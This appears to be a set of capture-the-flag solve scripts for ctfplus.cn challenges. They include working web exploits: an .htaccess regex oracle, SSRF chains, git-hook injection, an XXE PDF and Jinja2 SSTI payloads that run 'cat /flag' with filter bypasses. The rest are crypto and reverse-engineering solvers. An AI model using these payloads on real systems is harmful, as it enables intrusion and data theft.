import requests
import string
import sys

# 题目 URL
url = "http://80-0ac40b71-e06e-437d-a891-10ff78b45ece.challenge.ctfplus.cn/"
# 字符集
charset = string.ascii_letters + string.digits + "{}_-!@#"

def check_prefix(prefix):
    # 构造正则: ^prefix
    # 注意：反斜杠 \ 被过滤，无法转义特殊字符，但本题 Flag 字符无需转义
    regex = f"^{prefix}"
    
    # 构造 .htaccess Payload
    payload = f"""
RewriteEngine On
RewriteCond expr "file('/flag') =~ /{regex}/"
RewriteRule ^ - [G]
"""
    try:
        # 1. 上传 .htaccess
        # 注意 Content-Type 设为 application/octet-stream 避免额外干扰
        r = requests.post(url, files={'file': ('.htaccess', payload, 'application/octet-stream')}, timeout=3)
        if "File uploaded successfully" not in r.text:
            return None # 上传被 WAF 拦截
    except:
        return None

    try:
        # 2. 触发规则
        # 先上传一个辅助文件确保有东西可访问（可选）
        requests.post(url, files={'file': ('test.txt', 'test', 'text/plain')})
        r = requests.get(url + 'upload/test.txt', timeout=3)
        
        # 3. 判断状态码
        if r.status_code == 410:
            return True # 匹配成功
        return False    # 匹配失败
    except:
        return False

# 主程序
current_flag = ""
print(f"[*] Starting Brute Force on {url}")

while True:
    found_char = False
    for char in charset:
        test_flag = current_flag + char
        sys.stdout.write(f"\rTesting: {test_flag}")
        sys.stdout.flush()
        
        result = check_prefix(test_flag)
        
        if result is True:
            current_flag += char
            print(f"\n[+] Found: {current_flag}")
            found_char = True
            break
        elif result is None:
            # print(f"\n[!] Blocked payload for char: {char}")
            pass
            
    if not found_char:
        print("\n[-] Brute force finished.")
        break

print(f"\n[*] Final Flag: {current_flag}")

import base64
import os
import struct
import json
import urllib.parse
import urllib.request

HOST = "http://80-8f946ca1-acb6-45bb-8653-16d853b63b08.challenge.ctfplus.cn"
INTERNAL_FLAG_URL = "http://127.0.0.1/internal/flag"

K = [0x1c, 0x2d, 0x3e, 0x40, 0xa5, 0xb6, 0xc7, 0xd8, 0x24, 0x68, 0xac, 0xe0]
K1 = ((K[0] << 24) | (K[1] << 16) | (K[2] << 8) | K[3]) & 0xffffffff
K2 = ((K[4] << 24) | (K[5] << 16) | (K[6] << 8) | K[7]) & 0xffffffff
K3 = ((K[8] << 24) | (K[9] << 16) | (K[10] << 8) | K[11]) & 0xffffffff
ROT = 11


def rotl32(v, s):
    return ((v << s) | (v >> (32 - s))) & 0xffffffff


def encode_op(op_id, nonce_low32):
    rot = (rotl32((nonce_low32 ^ K2) & 0xffffffff, ROT) & 0xfffffffc) & 0xffffffff
    base = ((op_id ^ K1) + rot) & 0xffffffff
    return ((base ^ K3) | 0x80000000) & 0xffffffff


def to_int32(x):
    x &= 0xffffffff
    return x - 0x100000000 if x & 0x80000000 else x


def fnv1a_js(data: bytes) -> int:
    """模拟 JS: hash = (hash * 0x01000193) >>> 0"""
    h = 0x811c9dc5
    for b in data:
        h = to_int32(h ^ b)
        h = int(float(h) * 0x01000193) & 0xffffffff
    return h


def build_packet(op_id=0, arg=b"A", flags=0xFF):
    nonce = os.urandom(8)
    nonce_low32 = struct.unpack("<I", nonce[:4])[0]

    chunks = bytearray()
    chunks += b"WVLT"
    chunks += b"\x01"
    chunks += nonce
    chunks += bytes([1])

    opcode = encode_op(op_id, nonce_low32)
    chunks += struct.pack("<I", opcode)
    chunks += bytes([flags & 0xff])
    chunks += struct.pack("<H", len(arg))
    chunks += arg

    checksum = fnv1a_js(chunks)
    packet = chunks + struct.pack("<I", checksum)
    return base64.b64encode(packet).decode()


def get_token():
    packet_b64 = build_packet()
    req = urllib.request.Request(
        f"{HOST}/api/vm",
        data=json.dumps({"packet_b64": packet_b64}).encode(),
        headers={"Content-Type": "application/json"},
    )
    data = json.loads(urllib.request.urlopen(req).read().decode())
    out = data.get("output_utf8", "")
    if "token:" not in out:
        raise RuntimeError(f"unexpected vm output: {out}")
    return out.split("token:", 1)[1].strip()


def fetch_flag(token):
    url = (
        f"{HOST}/api/fetch?url={urllib.parse.quote(INTERNAL_FLAG_URL, safe='')}"
        f"&token={urllib.parse.quote(token)}"
    )
    data = json.loads(urllib.request.urlopen(url).read().decode())
    return data.get("body", "")


if __name__ == "__main__":
    token = get_token()
    flag = fetch_flag(token)
    print(flag)

import requests, re
from bs4 import BeautifulSoup

base='http://3000-8bf88578-3bcf-44ca-aae3-e138051f461c.challenge.ctfplus.cn'
user='11'
passwd='11'

s=requests.Session()
login_page=s.get(base+'/user/login')
csrf=re.search(r'name="_csrf"\s+content="([^"]+)"', login_page.text).group(1)

s.post(base+'/user/login', data={'_csrf': csrf, 'user_name': user, 'password': passwd}, allow_redirects=True)

apps=s.get(base+'/user/settings/applications')
soup=BeautifulSoup(apps.text, 'html.parser')
form=None
for f in soup.find_all('form'):
    if f.get('action','').endswith('/user/settings/applications') and f.find('input', {'name':'name'}):
        form=f
        break
csrf=form.find('input', {'name':'_csrf'})['value']
name='ctf-token'
resp=s.post(base+form.get('action'), data={'_csrf': csrf, 'name': name}, allow_redirects=True)

soup2=BeautifulSoup(resp.text, 'html.parser')
msgs=[msg.get_text(' ', strip=True) for msg in soup2.select('.ui.message, .ui.info.message, .ui.success.message, .ui.positive.message')]
import re
m=re.search(r'([0-9a-f]{40})', ' '.join(msgs))
print('token:', m.group(1))

import requests, base64

base='http://3000-8bf88578-3bcf-44ca-aae3-e138051f461c.challenge.ctfplus.cn'
token='这里填你的token'
repo='11/ctfdiha'

api=f"{base}/api/v1/repos/{repo}/contents/pwn"
info=requests.get(api, params={'token': token}).json()
sha=info.get('sha')

script='#!/bin/sh\necho ENVFLAG >&2\nenv | grep -i flag >&2\n'
content=base64.b64encode(script.encode()).decode()

resp=requests.put(api, params={'token': token}, json={
    'message':'write hook env flag',
    'content':content,
    'branch':'master',
    'sha':sha
})
print(resp.status_code)
print(resp.text[:200])

import requests
import sys

def create_xfa_pdf():
    # 针对 /flag 的 XXE Payload
    payload_xml = b"""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE doc [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<template xmlns="http://www.xfa.org/schema/xfa-template/3.3/">
<subform>
<field name="x">
<value>
<text>&xxe;</text>
</value>
</field>
</subform>
</template>
</xdp:xdp>"""

    # 包含 XFA 对象的最小化 PDF 结构
    header = b"%PDF-1.4\n%\xe2\xe3\xcf\xd3\n"
    
    # 对象 1: Catalog 引用 XFA
    obj1 = b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R /AcroForm << /Fields [] /XFA 3 0 R >> >>\nendobj\n"
    
    obj2 = b"2 0 obj\n<< /Type /Pages /Kids [ 4 0 R ] /Count 1 >>\nendobj\n"
    
    # 对象 3: 包含 Payload 的 XFA 流
    obj3_header = b"3 0 obj\n<< /Length " + str(len(payload_xml)).encode() + b" >>\nstream\n"
    obj3_footer = b"\nendstream\nendobj\n"
    obj3 = obj3_header + payload_xml + obj3_footer
    
    obj4 = b"4 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Content 5 0 R >>\nendobj\n"
    obj5 = b"5 0 obj\n<< /Length 0 >>\nstream\nendstream\nendobj\n"
    
    body = header + obj1 + obj2 + obj3 + obj4 + obj5
    
    # 交叉引用表 (简化版)
    xref_offset = len(body)
    xref = b"xref\n0 6\n0000000000 65535 f \n"
    xref += f"{body.find(obj1):010} 00000 n \n".encode()
    xref += f"{body.find(obj2):010} 00000 n \n".encode()
    xref += f"{body.find(obj3_header):010} 00000 n \n".encode()
    xref += f"{body.find(obj4):010} 00000 n \n".encode()
    xref += f"{body.find(obj5):010} 00000 n \n".encode()
    
    trailer = b"trailer\n<< /Size 6 /Root 1 0 R >>\nstartxref\n" + str(xref_offset).encode() + b"\n%%EOF"
    
    return body + xref + trailer

def exploit():
    url = "http://5000-72d6075f-350f-48b6-8f24-f1c3e5a8e3fc.challenge.ctfplus.cn"
    
    # 1. 生成 PDF
    pdf_content = create_xfa_pdf()
    
    # 2. 上传
    files = {'file': ('xxe.pdf', pdf_content, 'application/pdf')}
    print("[*] Uploading malicious PDF...")
    response = requests.post(f"{url}/upload", files=files)
    
    if response.status_code == 200:
        file_id = response.json().get('file_id')
        print(f"[+] Upload successful. File ID: {file_id}")
        
        # 3. 获取 Flag
        print("[*] Checking preview...")
        preview_resp = requests.get(f"{url}/preview/{file_id}")
        
        if "UniCTF{" in preview_resp.text:
            print(f"[+] Flag found: {preview_resp.text.strip()}")
        else:
            print("[-] Flag not found in preview.")

if __name__ == "__main__":
    exploit()

import requests
import json
import urllib.parse

base_url = "http://80-058a2b53-7ab0-498e-86cd-c2d35855fc81.challenge.ctfplus.cn/fetch"

def get_token():
    try:
        response = requests.get(base_url, params={'url': 'http://127.0.0.1:8001/redirect_ws'})
        json_resp = response.json()
        history = json_resp.get('history', [])
        if history:
            loc = history[0].get('location', '')
            parsed = urllib.parse.urlparse(loc)
            params = urllib.parse.parse_qs(parsed.query)
            return params.get('token', [''])[0]
    except:
        return None

def exploit():
    token = get_token()
    if not token:
        print("[-] Failed to get token")
        return

    print(f"[+] Got Token: {token}")
    
    target_url = f"ws://127.0.0.1:9000/ws?token={token}"
    
    headers = {
        "X-Internal-Token": token,
        "Origin": "http://127.0.0.1"
    }
    
    # Jinja2 RCE Payload 读取 flag
    ssti_payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read() }}"
    
    ws_payload = {
        "action": "render",
        "template": ssti_payload
    }
    
    print(f"[*] Sending SSTI payload via POST to /fetch...")
    try:
        response = requests.post(
            base_url, 
            params={'url': target_url}, 
            headers=headers, 
            json=ws_payload
        )
        
        try:
            json_resp = response.json()
            result = json.loads(json_resp.get('response', '{}')).get('result')
            print(f"[+] Flag: {result}")
        except:
            print(f"[-] Failed to parse response: {response.text}")
            
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    exploit()

import requests
import time
import json

base_url = "http://5000-f7ecba6c-9ce8-4fb4-8321-72f84af5360c.challenge.ctfplus.cn/api/export"

def bypass_payload(payload):
    # 将 {} 替换为 Unicode 编码以绕过简单检测
    new_payload = ""
    for char in payload:
        if char == '{':
            new_payload += "\\uff5b"
        elif char == '}':
            new_payload += "\\uff5d"
        else:
            new_payload += char
    return new_payload

def exploit():
    # 原始命令
    cmd = "cat /flag"
    
    # 构造 SSTI Payload
    # 使用 lipsum 访问 globals，使用 \x5f 绕过下划线过滤
    payload_content = f"lipsum['\\x5f\\x5fglobals\\x5f\\x5f']['os']['popen']('{cmd}')['read']()"
    
    # 包装在 {{ }} 中
    full_payload = f"{{{{ {payload_content} }}}}"
    
    # 转换 Payload
    final_payload = bypass_payload(full_payload)
    
    print(f"[*] Sending Payload: {full_payload}")
    
    data = {
        "template_id": "classic",
        "display_name": "Hacker",
        "title": "CTF Player",
        "motto": final_payload,
        "footer": "Pwned"
    }
    
    try:
        resp = requests.post(base_url, json=data)
        if "error" in resp.text:
            print(f"[-] Blocked: {resp.text}")
            return

        task_id = resp.json().get("taskId")
        if task_id:
            print(f"[+] Task ID: {task_id}")
            for i in range(5):
                time.sleep(1)
                r = requests.get(f"http://5000-f7ecba6c-9ce8-4fb4-8321-72f84af5360c.challenge.ctfplus.cn/api/task/{task_id}")
                if "html" in r.text:
                    html = r.json().get("html", "")
                    # 提取输出
                    start_marker = 'data-motto="'
                    start = html.find(start_marker)
                    if start != -1:
                        start += len(start_marker)
                        end = html.find('"', start)
                        print(f"[+] Flag Output: {html[start:end]}")
                    break
    except Exception as e:
        print(f"[-] Exception: {e}")

if __name__ == "__main__":
    exploit()

import struct

# 输入的多项式系数
coeffs_input = [-1150729056, 1913427864, -1417349260, -195296614, -37214631, 1704556, 44114, -606, 1]

# 将多项式系数转换为字节
b = bytearray()
for i in range(4):
    b += struct.pack("<i", coeffs_input[i])  # 前4个系数为32位整数
for i in range(4, 9):
    b += struct.pack("<H", coeffs_input[i] & 0xffff)  # 后5个系数低16位（无符号）

# 打印字节数组长度和内容的十六进制表示
print(len(b), b.hex())

xorcode = b'\xd5*\x00\xd8\xec\xf1wCM\xc5\xbc\x9c\xab:e\xd9k\x1f]:a\x9b\x9b\xcc9-\xcb*\x1a\xda\xfc\xf6e\x1c\x03\x96\xef\x86\xe9k=\x907Q\x03c6\xc5\xc3\x8ef}'

# 构建并重复字节数据
buf = bytes(b) * 2

# 进行 XOR 运算
flag_bytes = bytes([buf[i] ^ xorcode[i] for i in range(52)])

# 打印生成的 flag 字节并解码为字符串
print(flag_bytes)
print(flag_bytes.decode('latin1'))

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Strange_Py - solve script

用法：
  python3 solve_strange_py.py flag.enc

效果：
  1) 解密 flag.enc 得到第二阶段 PE（默认写出 decrypted_flag.exe）
  2) 静态解析 PE 中的 0x?? 字符表，直接输出 flag
"""
import struct
import sys
from pathlib import Path

MASK = 0xFFFFFFFF
DELTA = 0x12345678
ROUNDS = 50

def parse_pe_sections(pe_bytes: bytes):
    e_lfanew = struct.unpack_from("<I", pe_bytes, 0x3C)[0]
    if pe_bytes[e_lfanew:e_lfanew+4] != b"PE\x00\x00":
        raise ValueError("not a PE file")
    file_header_off = e_lfanew + 4
    machine, nsec, ts, pts, nos, opt_size, ch = struct.unpack_from("<HHIIIHH", pe_bytes, file_header_off)
    opt_off = file_header_off + 20
    magic = struct.unpack_from("<H", pe_bytes, opt_off)[0]
    if magic != 0x20B:
        raise ValueError("only PE32+ supported in this script")
    image_base = struct.unpack_from("<Q", pe_bytes, opt_off + 24)[0]
    sec_off = opt_off + opt_size
    sections = []
    for i in range(nsec):
        off = sec_off + i * 40
        name = pe_bytes[off:off+8].rstrip(b"\x00").decode("ascii", "replace")
        vsize, vaddr, raw_size, raw_ptr = struct.unpack_from("<IIII", pe_bytes, off + 8)
        sections.append({
            "name": name,
            "vsize": vsize,
            "vaddr": vaddr,
            "raw_size": raw_size,
            "raw_ptr": raw_ptr,
        })
    return image_base, sections

def va_to_offset(va: int, image_base: int, sections):
    rva = va - image_base
    for s in sections:
        start = s["vaddr"]
        end = start + max(s["raw_size"], s["vsize"])
        if start <= rva < end:
            return s["raw_ptr"] + (rva - start)
    return None

def read_cstring(buf: bytes, off: int, max_len: int = 64) -> bytes:
    end = buf.find(b"\x00", off, off + max_len)
    if end == -1:
        end = off + max_len
    return buf[off:end]

def key_words_from_bytes(k_bytes: bytes):
    # tea.py 里是 int(hex,16) 的方式拆 4 字节，所以这里按 big-endian
    return [int.from_bytes(k_bytes[i:i+4], "big") for i in range(0, 16, 4)]

def dec_block(cipher8: bytes, rand8: bytes, key_words):
    v0 = int.from_bytes(cipher8[:4], "big")
    v1 = int.from_bytes(cipher8[4:], "big")
    k0, k1, k2, k3 = key_words
    s = (-DELTA * ROUNDS) & MASK
    for _ in range(ROUNDS):
        # 逆向：先还原 v1，再还原 v0
        t1 = ((s + v0) & MASK) ^ ((k3 - (v0 >> 5)) & MASK) ^ ((k2 + ((v0 << 4) & MASK)) & MASK)
        v1 = (v1 - t1) & MASK
        t0 = ((s + v1) & MASK) ^ ((k1 + (v1 >> 5)) & MASK) ^ ((k0 + ((v1 << 4) & MASK)) & MASK)
        v0 = (v0 - t0) & MASK
        s = (s + DELTA) & MASK
    x = v0.to_bytes(4, "big") + v1.to_bytes(4, "big")
    return bytes([x[i] ^ rand8[i] for i in range(8)])

def decrypt_flag_enc(enc: bytes) -> bytes:
    # flag.enc 结构：
    #   [ (8字节密文 + 8字节rand) * n ] + [16字节key] + [13字节尾巴]
    core = enc[:-13]
    k_bytes = core[-16:]
    bt = core[:-16]
    key_words = key_words_from_bytes(k_bytes)

    out = bytearray()
    for i in range(0, len(bt), 16):
        cipher8 = bt[i:i+8]
        rand8 = bt[i+8:i+16]
        out.extend(dec_block(cipher8, rand8, key_words))
    return bytes(out)

def extract_flag_from_decrypted_exe(pe: bytes) -> str:
    image_base, secs = parse_pe_sections(pe)

    # main 里 memcpy 的源地址是 0x403020（即 .data + 0x20）
    # 里面是 32 个 QWORD 指针 -> 指向 .rdata 的 "0x??" 字符串
    ptr_array_va = image_base + 0x3020
    ptr_array_off = va_to_offset(ptr_array_va, image_base, secs)
    ptrs = list(struct.unpack_from("<32Q", pe, ptr_array_off))

    vals = []
    for p in ptrs:
        off = va_to_offset(p, image_base, secs)
        s = read_cstring(pe, off, 32).decode("ascii")
        vals.append(int(s, 16))
    return bytes(vals).decode("ascii")

def main():
    if len(sys.argv) < 2:
        print("Usage: python3 solve_strange_py.py flag.enc")
        sys.exit(1)

    enc_path = Path(sys.argv[1])
    enc = enc_path.read_bytes()

    pe = decrypt_flag_enc(enc)
    out_exe = Path("decrypted_flag.exe")
    out_exe.write_bytes(pe)

    flag = extract_flag_from_decrypted_exe(pe)
    print(flag)

if __name__ == "__main__":
    main()

ct = bytes.fromhex("c434bcf4a2c02599a062479de42af62cf57640548bf2cb64a0e7a08e132b7b91")
key = bytes.fromhex("0123456789abcdeffedcba9876543210")

FK = [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc]
FK = [(FK[i] + (i+1)) & 0xffffffff for i in range(4)]  # 关键：+1 +2 +3 +4
CK = [
0x00070e15,0x1c232a31,0x383f464d,0x545b6269,0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9,
0xe0e7eef5,0xfc030a11,0x181f262d,0x343b4249,0x50575e65,0x6c737a81,0x888f969d,0xa4abb2b9,
0xc0c7ced5,0xdce3eaf1,0xf8ff060d,0x141b2229,0x30373e45,0x4c535a61,0x686f767d,0x848b9299,
0xa0a7aeb5,0xbcc3cad1,0xd8dfe6ed,0xf4fb0209,0x10171e25,0x2c333a41,0x484f565d,0x646b7279
]
SBOX = [
0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05,
0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99,
0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62,
0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6,
0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8,
0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35,
0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87,
0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e,
0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1,
0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3,
0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f,
0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51,
0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8,
0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0,
0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84,
0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48
]

def rotl(x,n): return ((x<<n)&0xffffffff) | (x>>(32-n))
def tau(a):
    return ((SBOX[(a>>24)&255]<<24)|(SBOX[(a>>16)&255]<<16)|
            (SBOX[(a>>8)&255]<<8)|(SBOX[a&255]))
def L(b):  return b ^ rotl(b,2) ^ rotl(b,10) ^ rotl(b,18) ^ rotl(b,24)
def Lp(b): return b ^ rotl(b,13) ^ rotl(b,23)
def T(x):  return L(tau(x))
def Tp(x): return Lp(tau(x))

def ks(key):
    MK=[int.from_bytes(key[i*4:(i+1)*4],'big') for i in range(4)]
    K=[(MK[i]^FK[i])&0xffffffff for i in range(4)]
    rk=[]
    for i in range(32):
        x = K[i+1]^K[i+2]^K[i+3]^CK[i]
        K.append((K[i]^Tp(x))&0xffffffff)
        rk.append(K[-1])
    return rk

def crypt_block(block, rk):
    X=[int.from_bytes(block[i*4:(i+1)*4],'big') for i in range(4)]
    for i in range(32):
        X.append((X[i]^T(X[i+1]^X[i+2]^X[i+3]^rk[i]))&0xffffffff)
    out=[X[35],X[34],X[33],X[32]]
    return b''.join(w.to_bytes(4,'big') for w in out)

rk = ks(key)
rk = rk[::-1]  # decrypt
pt = crypt_block(ct[:16], rk) + crypt_block(ct[16:], rk)
pt = pt[:-pt[-1]]  # PKCS7 unpad
print(pt.decode())

import UnityPy

env = UnityPy.load("GenshinImpactWishSimulator_Data/sharedassets0.assets")
for obj in env.objects:
    if obj.type.name == "TextAsset":
        data = obj.read()
        if data.m_Name == "flag_data":
            # 注意：UnityPy 这里会返回带 surrogate 的字符串
            raw = data.m_Script.encode("utf-8", "surrogateescape")
            print(raw.hex())

import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

magic = 0x89
salt_key = "GachaSalt_Never_Gonna_Give_You_Up"
salt_iv  = "ZhongLi_Come_In_And11_"

key = hashlib.md5((salt_key + str(magic)).encode()).digest()
iv  = hashlib.md5((salt_iv  + str(magic)).encode()).digest()

ciphertext = bytes.fromhex("c375868faffe7fab6c6e04a923c4eaafde52d4ad9a7d3099f1058606a7bfe8bd")

cipher = AES.new(key, AES.MODE_CBC, iv)
pt = unpad(cipher.decrypt(ciphertext), 16)
print(pt.decode())

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pathlib import Path

PNG_SIG = b"\x89PNG\r\n\x1a\n"

def rc4_keystream(key: bytes, n: int) -> bytes:
    # RC4 KSA
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) & 0xFF
        S[i], S[j] = S[j], S[i]

    # RC4 PRGA
    i = 0
    j = 0
    out = bytearray()
    for _ in range(n):
        i = (i + 1) & 0xFF
        j = (j + S[i]) & 0xFF
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) & 0xFF]
        out.append(K)

    return bytes(out)

def decrypt_variant(cipher: bytes, key: bytes) -> bytes:
    ks = rc4_keystream(key, len(cipher))
    plain = bytearray(len(cipher))
    for idx, (c, k) in enumerate(zip(cipher, ks)):
        plain[idx] = c ^ ((k + 0x45) & 0xFF)  # 魔改点：keystream + 0x45
    return bytes(plain)

def main():
    cipher = Path("flagpngenc").read_bytes()

    found_key = None
    for k in range(10000):
        key = f"{k:04d}".encode()
        head = decrypt_variant(cipher[:16], key)
        if head.startswith(PNG_SIG):
            found_key = key
            print("[+] key found:", key.decode())
            break

    if not found_key:
        print("[-] key not found")
        return

    plain = decrypt_variant(cipher, found_key)
    Path("flag.png").write_bytes(plain)
    print("[+] decrypted png saved as flag.png")

if __name__ == "__main__":
    main()

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pathlib import Path

def decompress(data: bytes) -> bytes:
    out = bytearray()
    i = 0
    while i < len(data):
        b1 = data[i]
        i += 1

        # literal
        if b1 < 0x80:
            out.append(b1)
            continue

        # backref token (2 bytes)
        if i >= len(data):
            raise ValueError("truncated token")
        b2 = data[i]
        i += 1

        offset = ((b1 & 0x7F) << 4) | (b2 >> 4)
        length = (b2 & 0x0F)

        if offset == 0 or length == 0:
            raise ValueError(f"invalid token offset={offset}, length={length}")

        start = len(out) - offset
        if start < 0:
            raise ValueError("bad offset")

        for _ in range(length):
            out.append(out[start])
            start += 1

    return bytes(out)

def main():
    z = Path("out1.z").read_bytes()
    plain = decompress(z)

    Path("out1_decompressed.txt").write_bytes(plain)
    print("[+] decompressed saved as out1_decompressed.txt")

    # 直接打印前几行提示你打开看
    print("\n--- preview ---")
    try:
        print(plain.decode("utf-8", errors="ignore").splitlines()[0])
    except Exception:
        pass

if __name__ == "__main__":
    main()

import struct, io, zipfile

def parse_string_pool(f, chunk_start, chunk_size):
    # chunk header(8) 已经读过了，这里从 stringCount 开始读
    string_count = struct.unpack("<I", f.read(4))[0]
    style_count  = struct.unpack("<I", f.read(4))[0]
    flags        = struct.unpack("<I", f.read(4))[0]
    strings_start= struct.unpack("<I", f.read(4))[0]
    styles_start = struct.unpack("<I", f.read(4))[0]

    offsets = [struct.unpack("<I", f.read(4))[0] for _ in range(string_count)]
    is_utf8 = (flags & 0x00000100) != 0

    strings = []
    for off in offsets:
        f.seek(chunk_start + strings_start + off)
        if is_utf8:
            def read_len():
                b = f.read(1)[0]
                if b & 0x80:
                    b2 = f.read(1)[0]
                    return ((b & 0x7f) << 7) | (b2 & 0x7f)
                return b
            _utf16_len = read_len()
            utf8_len = read_len()
            s = f.read(utf8_len).decode("utf-8", "ignore")
        else:
            u16 = struct.unpack("<H", f.read(2))[0]
            if u16 & 0x8000:
                u16_2 = struct.unpack("<H", f.read(2))[0]
                strlen = ((u16 & 0x7fff) << 16) | u16_2
            else:
                strlen = u16
            s = f.read(strlen * 2).decode("utf-16le", "ignore")
        strings.append(s)
    f.seek(chunk_start + chunk_size)
    return strings

def parse_axml_package(axml_bytes: bytes) -> str:
    f = io.BytesIO(axml_bytes)
    xml_type, xml_hdr, xml_size = struct.unpack("<HHI", f.read(8))

    strings = None
    while f.tell() < xml_size:
        chunk_start = f.tell()
        ctype, chdr, csize = struct.unpack("<HHI", f.read(8))

        if ctype == 0x0001:  # STRING_POOL
            strings = parse_string_pool(f, chunk_start, csize)
        elif ctype == 0x0102:  # START_ELEMENT
            lineNumber, comment = struct.unpack("<II", f.read(8))
            ns, name = struct.unpack("<II", f.read(8))
            attributeStart, attributeSize, attributeCount, idIndex, classIndex, styleIndex = struct.unpack("<HHHHHH", f.read(12))

            attrs = []
            for _ in range(attributeCount):
                ans, aname, rawValue = struct.unpack("<III", f.read(12))
                vsize, vres0, vtype = struct.unpack("<HBB", f.read(4))
                vdata = struct.unpack("<I", f.read(4))[0]
                attrs.append((aname, rawValue, vtype, vdata))

            if strings and name < len(strings) and strings[name] == "manifest":
                for aname, rawValue, vtype, vdata in attrs:
                    if aname < len(strings) and strings[aname] == "package":
                        idx = rawValue if rawValue != 0xFFFFFFFF else (vdata if vtype == 0x03 else None)
                        return strings[idx]
            f.seek(chunk_start + csize)
        else:
            f.seek(chunk_start + csize)

    raise RuntimeError("package not found")

apk_path = "EVE chaos.apk"
with zipfile.ZipFile(apk_path, "r") as z:
    axml = z.read("AndroidManifest.xml")
print("package =", parse_axml_package(axml))